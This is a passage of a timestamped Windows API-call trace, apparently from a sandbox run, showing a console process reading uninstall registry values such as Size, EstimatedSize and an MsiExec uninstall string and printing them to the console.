() returned 0x1b5 [0150.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.235] GetConsoleOutputCP () returned 0x1b5 [0150.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.236] __iob_func () returned 0x7fefd702a80 [0150.236] _fileno (_File=0x7fefd702ab0) returned 1 [0150.236] _errno () returned 0x204bb0 [0150.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.236] _errno () returned 0x204bb0 [0150.236] GetFileType (hFile=0x50) returned 0x1 [0150.236] lstrlenW (lpString="") returned 0 [0150.236] __iob_func () returned 0x7fefd702a80 [0150.236] _fileno (_File=0x7fefd702ab0) returned 1 [0150.236] _errno () returned 0x204bb0 [0150.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.236] _errno () returned 0x204bb0 [0150.236] GetFileType (hFile=0x50) returned 0x1 [0150.236] lstrlenW (lpString="\n") returned 1 [0150.236] GetConsoleOutputCP () returned 0x1b5 [0150.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.236] GetConsoleOutputCP () returned 0x1b5 [0150.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.237] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.237] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.237] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.237] GetProcessHeap () returned 0x3c0000 [0150.237] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.237] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.237] __iob_func () returned 0x7fefd702a80 [0150.237] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.237] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.237] _fileno (_File=0x7fefd702ab0) returned 1 [0150.237] _errno () returned 0x204bb0 [0150.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.237] _errno () returned 0x204bb0 [0150.237] GetFileType (hFile=0x50) returned 0x1 [0150.237] lstrlenW (lpString=" ") returned 4 [0150.237] GetConsoleOutputCP () returned 0x1b5 [0150.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.237] GetConsoleOutputCP () returned 0x1b5 [0150.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.238] lstrlenW (lpString="Size") returned 4 [0150.238] __iob_func () returned 0x7fefd702a80 [0150.238] _fileno (_File=0x7fefd702ab0) returned 1 [0150.238] _errno () returned 0x204bb0 [0150.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.238] _errno () returned 0x204bb0 [0150.238] GetFileType (hFile=0x50) returned 0x1 [0150.238] lstrlenW (lpString="Size") returned 4 [0150.238] GetConsoleOutputCP () returned 0x1b5 [0150.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.238] GetConsoleOutputCP () returned 0x1b5 [0150.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0150.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.238] __iob_func () returned 0x7fefd702a80 [0150.238] _fileno (_File=0x7fefd702ab0) returned 1 [0150.238] _errno () returned 0x204bb0 [0150.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.238] _errno () returned 0x204bb0 [0150.238] GetFileType (hFile=0x50) returned 0x1 [0150.238] lstrlenW (lpString=" ") returned 4 [0150.239] GetConsoleOutputCP () returned 0x1b5 [0150.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.239] GetConsoleOutputCP () returned 0x1b5 [0150.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.239] __iob_func () returned 0x7fefd702a80 [0150.239] _fileno (_File=0x7fefd702ab0) returned 1 [0150.239] _errno () returned 0x204bb0 [0150.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.239] _errno () returned 0x204bb0 [0150.239] GetFileType (hFile=0x50) returned 0x1 [0150.239] lstrlenW (lpString="REG_SZ") returned 6 [0150.239] GetConsoleOutputCP () returned 0x1b5 [0150.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.239] GetConsoleOutputCP () returned 0x1b5 [0150.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.240] __iob_func () returned 0x7fefd702a80 [0150.240] _fileno (_File=0x7fefd702ab0) returned 1 [0150.240] _errno () returned 0x204bb0 [0150.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.240] _errno () returned 0x204bb0 [0150.240] GetFileType (hFile=0x50) returned 0x1 [0150.240] lstrlenW (lpString=" ") returned 4 [0150.240] GetConsoleOutputCP () returned 0x1b5 [0150.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.240] GetConsoleOutputCP () returned 0x1b5 [0150.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.240] __iob_func () returned 0x7fefd702a80 [0150.240] _fileno (_File=0x7fefd702ab0) returned 1 [0150.240] _errno () returned 0x204bb0 [0150.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.240] _errno () returned 0x204bb0 [0150.240] GetFileType (hFile=0x50) returned 0x1 [0150.240] lstrlenW (lpString="") returned 0 [0150.240] __iob_func () returned 0x7fefd702a80 [0150.240] _fileno (_File=0x7fefd702ab0) returned 1 [0150.240] _errno () returned 0x204bb0 [0150.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.240] _errno () returned 0x204bb0 [0150.240] GetFileType (hFile=0x50) returned 0x1 [0150.240] lstrlenW (lpString="\n") returned 1 [0150.240] GetConsoleOutputCP () returned 0x1b5 [0150.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.241] GetConsoleOutputCP () returned 0x1b5 [0150.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.241] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.241] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.241] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.241] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.241] GetProcessHeap () returned 0x3c0000 [0150.241] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.241] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x258, pcbData=0x29f780*=0x4) returned 0x0 [0150.241] __iob_func () returned 0x7fefd702a80 [0150.241] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.241] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.241] _fileno (_File=0x7fefd702ab0) returned 1 [0150.241] _errno () returned 0x204bb0 [0150.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.242] _errno () returned 0x204bb0 [0150.242] GetFileType (hFile=0x50) returned 0x1 [0150.242] lstrlenW (lpString=" ") returned 4 [0150.242] GetConsoleOutputCP () returned 0x1b5 [0150.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.242] GetConsoleOutputCP () returned 0x1b5 [0150.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.242] lstrlenW (lpString="EstimatedSize") returned 13 [0150.242] __iob_func () returned 0x7fefd702a80 [0150.242] _fileno (_File=0x7fefd702ab0) returned 1 [0150.242] _errno () returned 0x204bb0 [0150.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.242] _errno () returned 0x204bb0 [0150.242] GetFileType (hFile=0x50) returned 0x1 [0150.242] lstrlenW (lpString="EstimatedSize") returned 13 [0150.242] GetConsoleOutputCP () returned 0x1b5 [0150.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.242] GetConsoleOutputCP () returned 0x1b5 [0150.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.243] __iob_func () returned 0x7fefd702a80 [0150.243] _fileno (_File=0x7fefd702ab0) returned 1 [0150.243] _errno () returned 0x204bb0 [0150.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.243] _errno () returned 0x204bb0 [0150.243] GetFileType (hFile=0x50) returned 0x1 [0150.243] lstrlenW (lpString=" ") returned 4 [0150.243] GetConsoleOutputCP () returned 0x1b5 [0150.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.243] GetConsoleOutputCP () returned 0x1b5 [0150.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.243] __iob_func () returned 0x7fefd702a80 [0150.243] _fileno (_File=0x7fefd702ab0) returned 1 [0150.243] _errno () returned 0x204bb0 [0150.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.243] _errno () returned 0x204bb0 [0150.243] GetFileType (hFile=0x50) returned 0x1 [0150.243] lstrlenW (lpString="REG_DWORD") returned 9 [0150.243] GetConsoleOutputCP () returned 0x1b5 [0150.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.244] GetConsoleOutputCP () returned 0x1b5 [0150.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.244] __iob_func () returned 0x7fefd702a80 [0150.244] _fileno (_File=0x7fefd702ab0) returned 1 [0150.244] _errno () returned 0x204bb0 [0150.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.244] _errno () returned 0x204bb0 [0150.244] GetFileType (hFile=0x50) returned 0x1 [0150.244] lstrlenW (lpString=" ") returned 4 [0150.244] GetConsoleOutputCP () returned 0x1b5 [0150.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.244] GetConsoleOutputCP () returned 0x1b5 [0150.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.244] __iob_func () returned 0x7fefd702a80 [0150.244] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.245] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x258") returned 5 [0150.245] _fileno (_File=0x7fefd702ab0) returned 1 [0150.245] _errno () returned 0x204bb0 [0150.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.245] _errno () returned 0x204bb0 [0150.245] GetFileType (hFile=0x50) returned 0x1 [0150.245] lstrlenW (lpString="0x258") returned 5 [0150.245] GetConsoleOutputCP () returned 0x1b5 [0150.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x258", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.245] GetConsoleOutputCP () returned 0x1b5 [0150.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x258", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x258", lpUsedDefaultChar=0x0) returned 5 [0150.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.245] __iob_func () returned 0x7fefd702a80 [0150.245] _fileno (_File=0x7fefd702ab0) returned 1 [0150.245] _errno () returned 0x204bb0 [0150.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.245] _errno () returned 0x204bb0 [0150.245] GetFileType (hFile=0x50) returned 0x1 [0150.245] lstrlenW (lpString="\n") returned 1 [0150.245] GetConsoleOutputCP () returned 0x1b5 [0150.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.245] GetConsoleOutputCP () returned 0x1b5 [0150.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.246] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.246] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.246] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.246] GetProcessHeap () returned 0x3c0000 [0150.246] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.246] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.246] __iob_func () returned 0x7fefd702a80 [0150.246] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.246] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.246] _fileno (_File=0x7fefd702ab0) returned 1 [0150.246] _errno () returned 0x204bb0 [0150.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.246] _errno () returned 0x204bb0 [0150.246] GetFileType (hFile=0x50) returned 0x1 [0150.246] lstrlenW (lpString=" ") returned 4 [0150.246] GetConsoleOutputCP () returned 0x1b5 [0150.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.247] GetConsoleOutputCP () returned 0x1b5 [0150.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.247] lstrlenW (lpString="UninstallString") returned 15 [0150.247] __iob_func () returned 0x7fefd702a80 [0150.247] _fileno (_File=0x7fefd702ab0) returned 1 [0150.247] _errno () returned 0x204bb0 [0150.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.247] _errno () returned 0x204bb0 [0150.247] GetFileType (hFile=0x50) returned 0x1 [0150.247] lstrlenW (lpString="UninstallString") returned 15 [0150.247] GetConsoleOutputCP () returned 0x1b5 [0150.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.247] GetConsoleOutputCP () returned 0x1b5 [0150.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.248] __iob_func () returned 0x7fefd702a80 [0150.248] _fileno (_File=0x7fefd702ab0) returned 1 [0150.248] _errno () returned 0x204bb0 [0150.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.248] _errno () returned 0x204bb0 [0150.248] GetFileType (hFile=0x50) returned 0x1 [0150.248] lstrlenW (lpString=" ") returned 4 [0150.248] GetConsoleOutputCP () returned 0x1b5 [0150.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.248] 